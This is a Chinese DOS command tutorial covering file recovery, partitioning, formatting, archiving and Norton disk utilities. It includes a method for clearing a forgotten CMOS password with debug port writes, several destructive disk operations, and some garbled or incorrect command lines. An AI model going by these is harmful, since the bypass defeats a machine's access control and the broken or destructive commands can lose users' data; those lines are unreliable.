  undelete /all   恢复文件且不再询问是否恢复以"#%&-0123456789abcdefghijklmnopqrstuvwxyz"的顺序为第一个字母来恢复文件

  undelete /list  列可恢复的文件名

  undelete /s    可将undelete驻留内存,但几乎没人这样使用

UNDELETE——恢复删除命令

1.功能:恢复被误删除命令

2.类型:外部命令。

3.格式:UNDELETE[盘符:][路径名]〈文件名〉[/DOS]/LIST][/ALL]

4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。

(1)选用/DOS参数根据目录里残留的记录来恢复文件。由于文件被删除时,目录所记载斩文件名第一个字符会被改为E5,DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件,所以,UNDELETE会要求用户输入一个字符,以便将文件名字补齐。但此字符不必和原来的一样,只需符合DOS的文件名规则即可。

(2)选用/LIST只“列出”符合指定条件的文件而不做恢复,所以对磁盘内容完全不会有影响。

(3)选用/ALL自动将可完全恢复的文件完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用目录里残留的记录来将文件恢复,则会自动选一个字符将文件名补齐,并且使其不与现存文件名相同,选用字符的优选顺序为:#%——0000123456789A~Z。

UNDELETE还具有建立文件的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。

restore 恢复已备份的文件

[建  议]如果以前用backup做过文件备份,则当原文件损坏时可以用它来恢复文件。

  将用backup命令备份的磁盘中的文件恢复到另一磁盘中,备份磁盘中应有backup.00X和control.00X这两条文件。

[用  法]  restore [备份盘符] [目标盘符]

  将备份盘上备份文件恢复到指定盘上

  restore /s     将备份文件包括子目录都恢复到指定盘上

  restore /p     让用户判断是否恢复文件

  restore /b:日期  恢复日期以前的文件

  restore /a:日期  恢复日期之后的文件

  restore /l:时间  恢复时间之前的文件

  restore /e:时间  恢复时间之后的文件

  restore /m     只恢复上次备份后修改过的文件

  restore /n     只恢复上次备份后已删 除的文件

  restore /d     只显示要恢复的文件名

[例  子]  C:\DOS>restore a: c:

  Insert backup diskette 01 in drive A:

  Press any key to continue . . .

  在A驱中放入第一张备份盘,按任意键即可,恢复完第一张后,按顺序放入其它盘即可。

  当您用上述命令不能正确恢复文件时请用:

  C:\DOS>restore a: c:\ /s

-append 设置非执行文件的路径

[适用场合]  当您无法在多个目录中寻找到自己输入的文稿时,可以试一试这个命令,用法类似path。

[用  法]  append [路径];[路径]

[例  子]  C:\>append c:\test

  设置寻找非可执行文件路径为c:\test如果该目录下有文件1.txt时,在其它目录下调用1.txt找不到时,可自动寻找到c:\test目录。

  D:\UCDOS>edit 1.txt 可找到C:\test\1.txt文件

-diskcomp 比较磁盘--dos教程

[适用场合]  比较两张盘是否相同,没想到什么时候会用到,在比较用diskcopy拷贝的两张盘,为什么不用diskcopy/v校验呢?

[用  法]  diskcomp [盘符1] [盘符2] 比较盘1和盘2

  diskcomp /1 只比较磁盘的第一面

  diskcomp /8 只比较没磁道的前8个扇区

[例  子]  C:\>diskcomp a: a:

  在同一软驱中比较两张盘

  Insert FIRST diskette in drive A:

  放入第一张盘

  Press any key to continue . . .

  Comparing 80 tracks 18 sectors per track, 2 side(s)   

  Insert SECOND diskette in drive A:

  放入第二张盘

  Press any key to continue . . . Compare OK

  比较未发现不同

  Compare another diskette (Y/N) ?n

是否比较其它盘,选y继续比较,选n停止

-expand 解压工具--dos教程

[适用场合]  微软公司软件原始安装盘中有许多后缀以"_"结尾的压缩文件,可以用它解压,解除您因为少数几个文件丢失造成的麻烦。

[用  法]  expand [源文件名] [目的文件]

[例  子]  C:\>expand a:vsafe.co_ c:\dos\vsafe.com

 解压vsafe.co_为vsafe.com文件

  Microsoft (R) File Expansion Utility Version 2.10    

  Copyright (C) Microsoft Corp 1990-1993. All rights    

  reserved.

  Expanding a:vsafe.co_ to c:\dos\vsafe.com. a:vsafe.co_:

  33046 bytes expanded to 62576 bytes, 89% increase.

  C:\DOS>

-fasthelp 快速显示帮助信息--dos教程

[建  议]  可以看看所有的命令,对于单个的命令,还不如在命令名后加/?参数方便

[用  法]  fasthelp 列出所有DOS命令的用处

  fasthelp [命令名]  显示命令的用处,等价于 [命令名]/?

-interlnk 启动简易网客户机--dos教程

[适用场合]  如果有两台电脑可以通过它和intersvr联成简易的网络,这是条很有用的命令,但不常用

[用  法]   DOS新增支持网络的功能,

  它可以使两台电脑通过并口线或串口线相联组成简易的网络

  使用interlnk 必须在config.sys中增添一句:

  device=c:\dos\interlnk

  并口线的两头都应是25针公接头,针之间的连接如下图:对应

  p2------------------------p15

  p3------------------------p13

  p4------------------------p12

  p5------------------------p10 公接头指接头为带针的

  p6------------------------p11 母接头指接头为带孔的

  p15-----------------------p2

  p13-----------------------p3

  p12-----------------------p4

  p10-----------------------p5

  p11-----------------------p6

  p25-----------------------p25 地线

[例  子]  C:\DOS\>interlnk Port-LPT1

  this Computer    Other Computer

   (Client) (Server)

    ----------------------------------------

      E:   equals   A:

      F:   equals   C:

  在客户机中E盘即为服务机的A盘,F盘为服务机的C盘

-intersvr 启动简易网服务器--dos教程

[适用场合]  使用它,电脑就成了服务器了(只限与DOS提供的简易网)

[用  法]  intersvr 启动服务机

  intersvr /lpt:1   启动服务机,用lpt1口作为数据传输口

  intersvr /com:1   启动服务机,用com1口作为数据传输口

  参数还有 x baud: b v rcopy (参见interlnk)

[例  子]  C:\DOS>intersvr

-qbasic 启动Basic集成环境--dos教程

[建  议]  也许对于大多数人是永远不会用到它的

[用  法]  如果会qbasic语言,那么可以利用它编写自己的程序。edit.com必须有它才可用。

  qbasic     起动basic语言环境

  qbasic/editor 以全屏方式编辑语言

  参数还有: b g h mbf nohi run

[例  子]  C:\DOS>qbasic

-setver  设置版本--dos教程

[适用场合]  当希望使用其它版本的dos命令时可以用它来欺骗电脑。在高版本DOS中,某些旧版本程序需要DOS3.3时,可用setver来设置

[用  法]  使用时一般在config.sys中加入 device=setver.exe

  setver    显示文件的版本

  setver [文件名] n.nn   设置指定文件的版本号

[例  子]  C:\DOS>setver

  KERNEL.EXE 5.00

  DOSOAD.SYS 5.00

  EDLIN.EXE 5.00

  BACKUP.EXE 5.00

  ASSIGN.COM 5.00

  EXE2BIN.EXE 5.00

  JOIN.EXE 5.00

  RECOVER.EXE 5.00

  WINWORD.EXE 4.10

  C:\>

  若程序AAA.exe必须在MS-DOS3.3下执行,则键入

  C:\DOS>setver aaa.exe 3.30

  又如net5.exe仅在MS-DOS5.0下执行,则在config.sys中加入   

  device=setver.exe后也可在Ms-DOS6.22下运行。

-share 文件共享--dos教程

[建  议]  只有在软件声明必须要运行它时才用

[用  法]  可在config.sys中加入 install=share.exe 也可直接运行   

  参数有 f l

-subst  路径替换--dos教程

[建  议]  一个非常有趣的命令,如果经常用光碟软件,可能有用。

[用  法]  subst     显示当前的替代路径

  subst [盘符] [路径]  

  将指定的路径替代盘符,该路径将作为驱动器使用

  subst /b   解除替代

[例  子]  C:\DOS>subst a: c:\temp 用c盘temp目录替代a盘

  C:\>subst a: /d     解除替代

-tree  显示命令树结构

[适用场合]  查看所有的子目录

[用  法]  tree [盘符]    显示所有的子目录树

  tree /f显示目录时同时显示文件名

  tree /a以ASCII码显示目录树

[例  子]  C:\WINDOWS>tree /a

TREE—显示磁盘目录结构命令 

1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。 

2.类型:外部命令 

3.格式:TREE[盘符:][/F][》PRN] 

4.使用说明: 

(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件; 

(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。

-unformat 恢复已被格式化的磁盘

[建  议] 你把有重要信息的软盘格式化了快用unformat……什么你用了  

  format /u,那死定了

[用  法]  unformat [盘符]    恢复指定的被格式化的磁盘

  unformat /l      显示unformat所找到的文件名

[例  子]  C:\WINDOWS>unformat a:

UNformAT恢复格式化命令 

1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。 

2.类型:外部命令 

3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST] 

4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。 

(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。 

(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will

be sent to LPT1” 

(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only” 

(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。 

(5)选用/PSRTN;修复硬盘分区表。 

若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNformAT会“假设”此时磁盘没有MIRROR映像文件。 

注意:UNformAT对于刚formAT的磁盘,可以完全恢复,但formAT后若做了其它数据的写入,则UNformAT就不能完整的救回数据了。UNformAT并非是万能的,由于使用UNformAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。

-vsafe 病毒防护程序

[建  议]  把它装入内存可以随时检测出许多种病毒,是比较有用的。

[用  法]  vsafe  加载vsafe在内存中

  vsafe /u 从内存中去除vsafe

  vsafe/ne 将vsafe装入扩充内存

  vsafe/nx 将vsafe装入扩展内存

  参数还有 Ax Cx n d

[例  子]  C:\>vsafe

-ver     显示DOS版本

[例  子]  C:\>ver

 MS-DOS Version 6.22

  C:\>

recover   覆盖磁盘

[建  议]  在DOS 6以后就不再有这条命令了,如果你使用的是老版本的DOS,劝你在任何时候都不要使用它,它除了将你的硬盘所有的信息破坏掉就没有其它作用了。

DEFRAG——重整磁盘命令 

1.。功能:整理磁盘,消除磁盘碎块。 

2.类型:外部命令 

3.格式:DEFRAG[盘符:][/F] 

4.使用说明:选用/F参数,将文件中存在盘上的碎片消除,并调整磁盘文件的安排,确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。

四、DOS命令使用技巧

将当前目录下所有目录名、文件名存入文本文件中

DIR >d2:\*.txt /O(按字母顺序) /A(只显文件名、扩展名)

新建一个文本文件

COPY >d:\*.txt[inf]

显示*.IMG文件中所有文件

undisk /I d1:\*.IMG

解压*.IMG文件到指定目录下

undisk /g  d1:\*.IMG d2:\xxx

或HDCOPY界面/按G从.IMG中取文件/指定路径及文件名即可

建立*.IMG文件

HDCOPY界面/插入A盘/按R读取(A盘内容到缓冲区)/按P存入IMG文件/指定路径及文件名即可.

解压*.cab压缩文件

extract /y /l %ramd%\bin /e a:\ebd.cab >nul    解压到d2:\bin目录下,从d0:\ebd.cab 到虚拟设备

解压*.ex_压缩文件

arj x tools.ex_ x:\ -y >nul  解压tools.ex_文件到x:\下,到虚拟设备

复制目录及目录下所有文件到根目录下

XXCOPY /E /H %CDROM%:\BOOT\EBD %RAMD%:\ > NUL  复制EBD目录下所有文件到虚拟盘

复制目录及目录下所有文件到指定目录下

XCOPY /E /H /I /Y d1:\BOOT\EBD d2:\xxx\    复制EBD目录下所有文件到xxx目录下。/E所有子目录含空目录、/H系统和隐藏文件、/I指定目录如不存在自动创建、/Y直接覆盖不确认。

.BAT中打开N个.TXT文本文件

READ d1:\*.txt  (可多行指定打开多个文件)

DOS系统下设置固定盘符方法(光驱.硬盘)

在Config.sys.中加入LASTDIVE=D (D为盘符代号)

或在autoexec.bat中加入:

subst d: c:\mydisk  (用C盘上mydisk文件夹subst为D盘,使其它盘符顺延改变)

subst d: c:\mydisk1

subst d: c:\mydisk2  (可多加几个盘号)

3、快速删除文件夹--deltree小试身手

    卸载一个大游戏(安装在c:\moto里),因为是D盘的游戏(直接复制就能玩的那一种,没有卸载程序),只好直接在Windows下删除c:\moto,发现速度奇慢,竟然用了3分多钟,难道没有快一点的方法吗?

    经过分析,这是由于被删目录(C:\moto)里的文件太多,而且Windows的本身的删除机制过于死板造成速度慢。

    经过反复试验,在MS-DOS下用Deltree删除目录树最快。

如图:

    (一)打开MS-DOS 方式窗口

    (二)输入deletree c:\moto回车,用不到1分钟就删完了,好快呀。

    本文小提示:

    不要在“DOS实模式”下删除,一定要在“MS-DOS窗口”下删除,否则比Windows下删除速度还要慢。

4、低格--LFORMAT

低格是低級格式化的简称,它是一个较为复杂的针对硬盘表面的物理过程,原本不需要用户操心(硬盘出厂前就已经低格好了),但由于种种原因(硬盘使用不当、质量问题)硬盘有时会出现坏道(坏道的测试方法:在DOS下用输入命令SCANDISK /ALL回车,磁盘扫瞄时,如果出现一个或若干个黑底红字的“B”,就证明硬盘有了坏道),出现坏道的后果是:轻者硬盘吱吱作响,重者硬盘根本无法使用。怎么解决?这时就需要请出“低格软件”,一般可以让硬盘起死回生。

    低格软件有很多,如DM、SmartFdisk、QAPLUS等都有低格功能,但笔者体会,低格专门工具LFORMAT更好用些。 例如,一块1.2G硬盘,测试有坏道,用LFORMAT修复,步骤如下:

    1、用带有LFORMAT.EXE文件的启动盘引导电脑;

2、出现A:\>输入LFORMAT回车;如图:

    3、出现警告信息(提示是否继续),按Y继续;

    4、出现“Select Device(选择硬盘)”,直接按回车;

    5、出现“Which device...?(选择哪个硬盘)”,按数字0(应根据CMOS中硬盘的实际位置选择0、1、2或3)

    6、出现所选硬盘参数和“Low level...(低格所选硬盘)”,如果参数相符,按回车;

    7、出现“Do you want...?(采用LBA模式吗?)”,如果硬盘大于540M,按Y,如果硬盘小于540MB,按N,本例应该选Y;

    8、出现警告信息(提示是否继续),按Y继续;

    9、等待一段时间后,低格完毕。RESET重启,进入A盘,运行SCANDISK /ALL看看,坏道是不是没有了?

5、分区FDISK

把一块硬盘划成一个或多个独立的区域。在多分区的硬盘里,“主分区”一般理解成C盘;“扩展分区”是D-Z盘的总称;“逻辑分区”D-Z盘每个盘的单独称谓。

    举例:一块6.4G硬盘(原有C,D,E三个分区),因为原来的C盘太小,想增加C盘容量,需要重新划分硬盘(目标是两个相等的分区,我不建议使用PQ等调整分区,因为兼容不好,易丢数据,最好用FDISK,先把有用的文件备份),步骤如下:

    (一)删除分区

   1、用WIN98启动盘(自带FDISK命令)引导电脑;

    2、出现A:\>后,输入FDISK回车;

    3、出现提示“Do you wish...”,如果想采用FAT32格式,按Y回车,如果想采用FAT16格式(每个分区必须小于2G),按N回车,本例选Y;

    4、出现主菜单,按3回车(“Delete...删除分区”);

    5、出现4个选项,请务必按照4、3、2、1的先后顺序进行选择(即:先后删除“非DOS分区”、“逻辑分区”、“扩展分区”、“主分区”),首先按4回车(“Delete Non-DOS...删除非DOS分区”),出现“No Non-DOS...没有非DOS分区”,按ESC继续;

    6、同“步骤3”,再按3回车(“Delete Logical...删除逻辑分区”)

    7、出现D盘和E盘的分区情况和提示(“WARNING...输入你要删除哪个分区?)按D回车(删除D盘)

    8、出现提示“Enter...输入该盘的卷标”,(“卷标”在上方的分区情况表里有提示)如果有就输入,没有就直接回车跳过;

    9、出现“Are...真的删除吗”,按Y;

    10、参看“步骤6-8”删除E盘;

    11、参看“步骤4、5”删除扩展分区和主分区。

    (二)建立分区

    12、出现主菜单,按1(“Create...建立分区);

    13、出现三个选项,请务必按照1、2、3顺序进行选择(即分别先后建立“主分区”、“扩展分区”、“逻辑分区”),首先按1回车(“Create...建立主DOS分区”);

    14、出现提示“Do...是否将硬盘的全部容量划分为基本分区(即让硬盘只有C盘这一个分区)”,如果是按Y,如果不是(想划分两个或两个以上的分区)按N,本例选N; 15、出现提示“Enter...[6400]”,根据你的需要输入C盘容量或占百分比,本例输入“3200”(当然输入50%效果是一样的)回车,出现C盘的分区情况,按ESC返回主菜单;

    16、参看“步骤11-14”建立扩展分区、逻辑分区。

   (三)激活分区

    17、出现主菜单,按2回车(“Set...激活分区”);

    18、按1回车(激活C盘) 19、ESC退出FDISK,重新电脑,准备格式化。

    好了,怎么样,会了吗?...什么?还不会,没关系,以下两个软件可能对你点帮助:

“FDISK汉化版”和

“FDISK完全模拟程序”(下载地址: http://www.skycn.com/soft/8658.html )

5、分区--Fdisk图解指南

一、进入主界面

提示符后面后面输入fdisk后按ENTER键,会看到以下画面

这个是询问是否使用FAT32文件系统,因为你的硬盘超过了512M的容量,不能够使用FAT16文件系统了,输入Y后按ENTER键:

二、创建分区

选择 1 后回车

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

重新启动以后就分区结束了。

三、删除分区

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

不一定要全部删除,可以只删除需要删除的部分,然后重新创建。

6、高格FORMAT

高级格式化的简称,是紧跟分区后的一道工序。

    举例:一块硬盘已经分区,需要格式化C盘,并让C盘成为可引导盘:

    1、用WIN98启动盘(自带FDISK命令)引导电脑;

    2、出现A:\>后,输入FORMAT C:/Q/U/S回车(/Q:快速,/U:彻底,/S:复制系统文件,注意FORMAT后要输入空格);

    3、出现警告信息(提示是否继续)按Y回车;

    4、等待...,完成后,提示输入卷标,回车跳过即可。

    5、拿出软盘,重启电脑,出现C:\>后,输入DIR回车,如果屏幕显示有COMMAND.COM这个文件,即获成功。

    本文小提示:

    1、低格、分区、高格都是危险操作,初学者不宜使用。

    2、不建议使用微软以外的分区格式化工具(如PQ、DM、EZ等),因为它们并不完全兼容较新版本的WINDOWS。另外,PQ的动态分区调整功能,极易引起硬盘数据的意外丢失。

3、对于60G以上的大硬盘,WIN98的FDISK是无法识别的(不信可以试一试),解决方法是:(1)如果是老主板应首先升级BIOS;(2)使用WINME的FDISK和FORMAT,可以支持60G以上的大硬盘。

6、清除CMOS密码--DOS命令应用实例

    CMOS密码忘记了怎么办?

    破解的方法有很多,如万能密码破解工具,CMOS放电等,都可以达到目的,但是如果你遇到:万能法对个别主板不管用,破解软件一时找不到,放电又太麻烦的时候,debug 命令反而更好用。

    1.在DOS实模式或窗口中运行DUBUG都可以

    2.原理是:利用o语句输入端口把垃圾字节10H覆盖原有CMOS数据,致使CMOS读取错误而自动重置成没有密码的初始状态,而达到破解目的。

五、DOS程序使用方法-高手之路

一、arj 压缩命令的使用

  arj a a:pp c:*.dbf 普遍方法 使用arj x a:pp解压

  arj a -r -va a:pp c:*.dbf

  arj x -r -va a:pp -va参数自动测试a盘的剩余容量,

  -r参数自动压缩子目录下的文件.

  arj a -je a:pp c:*.dbf 解压时直接运行pp.exe 即可.

  -je 参数自动生成可以自动解压的文件.

  arj a -r -va -g? a:pp c:*.dbf 生成带有口令的文件

  arj x -r -va -g? a:pp 解压时需要输入正确的口令.

  arj a -r -vva a:pp c:*.dbf 更换磁盘时响铃提示.

  -jt 压缩时作效验工作,确保数据完好.

  e 解开时自动创建子目录,不需要提示

  l 显示压缩文件中包含的文件目录.

  -o:980818 98年8月18日后的所有文件全部压缩(含这天)

  -ob:980818 98年8月18日前的所有文件全部压缩(不含这天)

 各种提示符:

  Quit 中止退出

  Always 对当前的提问永远作"Yes"回答(当解开压缩时,?需要覆盖原来存在的文件时,就需要"A"回答.

  Skip 对当前的提问作一个肯定回答.

  Yes 仅对当前提问作一个肯定回答

  No 仅对当前提问作一个否定回答

  Global对当前盘作肯定回答,换盘后需要另行回答.

  Command 提示输入一个可执行dos命令.

 

二、chkdsk 与 compress 命令

  用chkdsk c:/f可以对C盘自动修复丢失的簇,一般对根目录产生的file???.chk等文件予以删除,在使用compress 之前先做chkdsk 命令

 compress 参数如下:

  /cu 不重新链接文件 /cf全面压缩

  /cc 全面压缩,并清除扫描剩余的簇 /cs优化剩余的空间

  /cd 优化各子目录 /nm禁止镜象工作(压缩之后)

  /video 屏显命令行 /os标准方式排序

  /of指定文件优先 /oo子目录优先

  /od子目录在文件之后 /sf按照文件名排序

  /se按照扩展名 /st按照时间排序

  /ss按照文件大小 /sa升序

  sd按照降序

  最常见的方法: compress c:/cc/sf

 注意:1)不能对win95增容处理过的硬盘压缩

   2)对于win95下的长文件名格式不支持

   3)对于一些加密软件安装时产生的文件,压缩后应重新进行安装.

  标记为"X"的为坏道,"D"为根目录 "F"为文件分配表 "B"为引导扇区

 

三、img工具的使用

  主要作用是在内存中开辟一块地方,?建立虚拟的软盘驱动器,并将所有对于该软驱的操作映射到该内存区域.具体操作步骤如下:

  1)启动img文件

  2)按下ctrl+alt+s+d+x即可激活该软件

  3)在filename区输入要安装的文件完整的文件名,如:c:\dos\1.img

  4)移动到drive区后可以选择"A B O"三个要建立的虚拟盘符

  5)?format区可以选择hdcopya-b以及diskdupe格式中的一个,如果不知道以前使用的格式,可以通过多次试验来取得.

  6)?移动到read区敲回车,若显示message "file c:\dos\1.img error"则是文件不存在或者是format区文件格式不对,可以重新到format 区选择.

  7)正确读入后,使用dir a(b 或o):,就可以查看虚拟盘中的文件

  8)按下Esc键退出,转到虚拟盘,允许安装程序或进行其它操作.

  9)若有多张盘需要安装,在收到须插入第二盘的提示时,重复2)的操作,重新读取数据,继续安装工作,直到完成.

 注意:

  1)?有时可能存在文件格式上的错误,导致不能读取数据,这时可先退出,重新激活img工具,换一种格式再读.

  2)输入映象文件时需要输入完整的文件名(包括路径)

  3)安装完成后,为了消除虚拟盘带来的影响,可以重新启动.

  4)使用这种方法,只能完成一些dos下的程序的安装.

 

四、hdcopy的使用

  主要完成软盘间的快速复制以及将软盘的内容建立映象保存到硬盘,还可以将硬盘的映象内容重新读取到软盘上,?还有将软盘格式化为不同的容量的功能,如果结合img的使用,则更加方便.

 1)在options menu中进行设置的改变

  soure(destination) drive 改变源(目标)盘盘符(仅对于有2个驱动器)

  auto verify:on/off 在进行读写操作及格式化时是否自动效验数据.

  fat selection:on/off 拷贝时是否仅对有数据区域进行读操作, 为on时读全盘.

  format destinatin:auto/on/off 写盘时(自动/是/不)对目标盘进行格式化.

  password protected:on/off 对于保存到硬盘的映象文件是否加口令保护.

  verbose mode:on/off是否开启在出现错误时进行多次效验的功能.

  head settle time:on/off 是否等待磁头的调整

  user mode:safe/prof/expert 读数据时使用安全/保护/冒险模式。冒险模式时,计算机自动检测驱动器,并进行读写操作,要求熟练掌握操作.冒险模式等同于专家模式.

 注意:1)若A B 两驱动器容量不同时,要求源盘容量大于目标盘.

  2)使用put to file 功能可以将读在内存中文件保存到硬盘中.对于有加密点的磁盘,它也可以读出来,并长期保存或复制.

  3)使用get from file 功能可将硬盘中保存的文件读到内存中,再写到软盘.

  4)格式化磁盘时,使用不同的格式时应注意在另外的驱动器读取可能有困难.可以将坏盘格式化成低容量,以便修复诸如零道损坏等问题.

  5)对于1.7@ 1.7m及2.0版,虽然界面有所不同,但基本内容一致,2.0版中的"+"相当于on,"-"相当于"off","*"相当于自动方式.

五、diskfix 工具

  用作修复文件分配表,引导扇区及目录扇区发生错误的软盘或硬盘.命令行参数:

  /test 只作测试,不作修复工作

  /scan 完成测试并进行修复工作

  /ro:filename 完成测试工作,并报告于filename文件中(覆盖该文件)

  /ra:filename 同上,只是追加到文件尾.

  /hcache 或hcard 如有硬盘卡,则选该项

  注意:作diskfix工作之前,应将驻留内存的程序退出.

  repaire disk选项 修复由于文件分配表,?引导扇区及目录区错误等而引起的磁盘异常,进入后会让你对驱动器进行选择,它会自动完成以上各项的检测工作,并自动进行修复. comparion(对比) description(描述) destructor(结构)surface scan选项 自动进行表面媒体测试,检测不安全隐患,并将数据移动到安全区域,?它会有一个测试次数的选项,可进行 多达80次的测试,这一过程需要很长时间. preventive(防止) maintenance(维护) read write only 模拟media (媒体) defect(欠缺,不安全) perform (执行) destructive(有害的)revitabize(复兴)选项 除完成surface scan 以外,在不对磁盘数据进行破坏的前提下,完成一边格式化,并尽可能修复损坏的数据. optimum(适宜的)undo a diskfix repair 选项 在进行磁盘repaire时,可以保存一些信息,以便由于diskfix工作而造成了问题,可以使用该选项进行复原工作.

 configure 配置

  1)test paration table 测试分区信息.

  2)check boot sector for virus 测试根扇区中是否有病毒

  3)look for mirror 寻找映象文件

  4)use bios surface scan 使用bios 进行表面测试

  5)use custom error message 使用当前的错误提示信息

六、diskfix的应用

 1)对于由于分区表,引导扇区错误而造成的损坏,表现为:

  主分区盘不能启动,显示"cann't load file "或"Invalid drive specition"

  其他分区"D"显示"Invalid drive spection "或"Not ready drive D:Abort,Retry,Fail"

  方法:首先使用软盘启动

  (1)?使用输入diskfix c:,选择其中的repair a disk ,然后对于其它的所有问题均回答"Y",修复时,diskfix会自动修复损坏的硬盘.

  (2)可以使用norton工具包中的磁盘医生"NDD"来修复,启动NDD后进入选项中,对"修理设定"项选择"自动修理",然后选择"诊断磁盘"一项,对"C"进行操作即可.

  (3)若软盘启动后,不能进入"C:",应首选"diskfix c:"硬盘不能启动有多方面的原因,?对于由于系统文件损坏而造成的启动困难,可以软盘启动后,用"sys c:"来传送系统文件就可以了.但对于"win95",则应使用win95应急盘启动,传递成功后,应查看根目录下是否存在"io.dos msdos.dos command.dos"三个文件,若不存在,则应使用dos启动盘,拷贝一份到根目录区,否则以前的dos版本将启动困难.须注意的是,制作启动盘应与机器原来的系统文件版本号相同.

 2)对于由于误删除而造成的问题

  (1)dos下可以使用undelete 命令恢复,或者使用pctool工具恢复删除.

  (2)win95删除的文件,可先在"回收站"中查找,若"回收站"属性设置为直接清空,还可以到被删除文件所在的目录下运行undelete命令恢复.

七、norton 工具的使用

  优化磁盘读写,提高磁盘速度的工具,calibrate(校准)

  (1)优化磁盘速度

  (2)移动危险区数据到安全区

  (3)在磁盘数据损坏以前进行检测和纠正来保护磁盘

 测试项目:

  (1)完整性测试,包括系统参数,硬盘编码技术及交叉因子的设置.

  (2)系统内存,内存控制器的,软(硬)盘控制器的诊断

八、磁盘编辑器 diskedit的使用

  它可以挽救因为磁盘0道损坏而造成的文件的读写困难.

  方法:将一块好的磁盘插入驱动器,启动diskedit,来读盘的内容,然后取出好盘换上受损盘,继续读操作,由于仅仅0道损坏,而其它磁道内容完好,因而可以读出数据,记下相应的起止扇区号,利用工具中的写对象命令,将相应的扇区号写入硬盘中去,退出编辑,调用相应的文件即可.(若出现读错误,可以kip,igrone)

这种方法对于根目录损坏的磁盘,恢复的可能性狠小.同时可以通过查找特定的字符,可以快速判断要找的文件的位置.

九、diskmon 它可以监视磁盘的任何动作,防止意外发生.

  1)?磁盘保护,它可以通过对系统区域,文件区,或者全部磁盘区实行写保护,对于个别类型文件,?也可以单独设置,如让某种类型文件受到特殊保护,通过设置,就不能存取某种类型的文件.

  2)磁盘读写灯设置,设置它可以识别网络磁盘,在发生存取盘的操作时,屏显磁盘号.

  3)磁盘挂起,相当于dos中的park 命令,将磁头放置安全区域.

十、filefind/ts

  可以在整个磁盘区域,当前目录,当前目录及子目录下,查找某类或某个文件,还可以查找某几个字符,以达到匹配的目的.它能够在同一文件中多次查找并显示匹配的字串,这在查找多个文件时有用.由于其中有多中设置,?它可以在某个时间段,某大小甚至可以在网络驱动器上进行工作,还具有对某类型文件查找的功能.查找时可以输入汉字.如果加上/ts命令则速度更快,它具有1)查找字串 2)查找相应文件功能

十一、filefix 可以对某种文件进行修复.

  文件由于各种原因,造成损坏,可以使用它来进行最大限度的恢复.

十二、unerase 可以通过子目录以及对驱动器的选择来恢复被删除文件.

  它可以将所有被删除文件例表,?来显示所有可恢复的文件的详细资料,同时提供选择的权力,?可以有针对性的恢复.可以将恢复的文件直接存盘到另外的子目录 乃至另外的驱动器中.注意:

  1)它提供对网络上删除的文件进行浏览功能,但不能进行恢复.网络上删除的文件可以用salvage中提供的功能恢复.

  2)?在预测栏中sub_dir为子目录,"好""困难""平均"标记了几种要恢复文件的难易程度.利用它可以恢复子目录.

  3)对于使用rd 及deletree删除的子目录,只要保证没有往盘中追加数据,都可以完全恢复文件.

  4)?使用时,可以使用空格或"+"号,来选择要恢复的文件,直接将光标移动到要恢复的文件上,按"U"键进行恢复,然后输入一个字母,作为文件名的首字母,要确保不存在相同的文件名.

  5)对于删除的子目录,可以直接进入,继续进行文件的恢复工作.相比之下,unerase比pctool及undelete操作简单,功能强大.在文件信息一栏中,显示文件编辑的最后日期,字节数,文件属性以及是否能正确恢复,?有时提示"将不包括正确数quot;,但经过测试,对大多数标记为"好"的文件,均可以正常恢复,还可通过选择进行批量恢复.

十四、wipeinfo 快速擦写,使用它擦写后的文件无法恢复.

  使用undelete,unerase及pctools工具,对于它也无济于事,它可以对整个驱动器,某个子目录,子目录中的每个文件进行操作,操作前有警告,须慎用.

 

十五、norton工具中的unformat

将恢复因意外格式化而造成数据丢失的软/硬盘,也可修复受其它原因破坏的磁盘.对于由于引导信息丢失,分区表损坏而无法进入的磁盘无效(应使用diskfix,diskedit等修复).

  对于刚使用format格式过的磁盘,如:format a:/q时,可使用dos下的unformat可以恢复.

  使用norton中的unformat命令,则更加直观,它扫描磁盘中的每个扇区,并对每块可用数据进行标记,经过大约5分钟(对软盘),可以对全盘的可恢复文件有全面的标志.

  在相应的子目录dir0,??dir1之下,??可以找到一些较完整的文件,???比dos下的unformat要准确可靠.

  可直接用unformat a:,对于子目录下存在的子目录中的文件,不能确保全部恢复.

  如果使用了format a:命令不加参数,则不能恢复.

  实验表明:?在对使用format a:/q不加/u参数的盘反格式化时,dos下unformat的性能优于norton下的unformat,但若用作过norton中的image则另当别论.在对使用format a:/q/u格式化过的盘进行反格式时,dos下的unformat与norton基本一样.

  在无任何参数下格式化的磁盘,dos下的unformat也能恢复.

  评论:dos下的unformat 速度较快,但必须有完整的影象文件,当磁盘中要恢复的

  文件很多时,norton中的unformat性能要优于dos下的unformat.

十六、speeddisk的工作

  功能:1)优化磁盘的可利用空间,并移动到磁盘尾部

  2)合并文件的存放碎片,并加以消除.

  运行时不能中途掉电,但可以通过esc来终止,不能有内存驻留程序的活动.

 可供选择的策略:

  1)除目录和文件分配表外全部优化

  2)全部优化,包括目录,目录优于文件,

  3)全部优化,并将文件排序.

  4)取消文件碎片.

  5)取消各种空间碎片,有利于进行大文件安装.

7、软盘工具HD-COPY

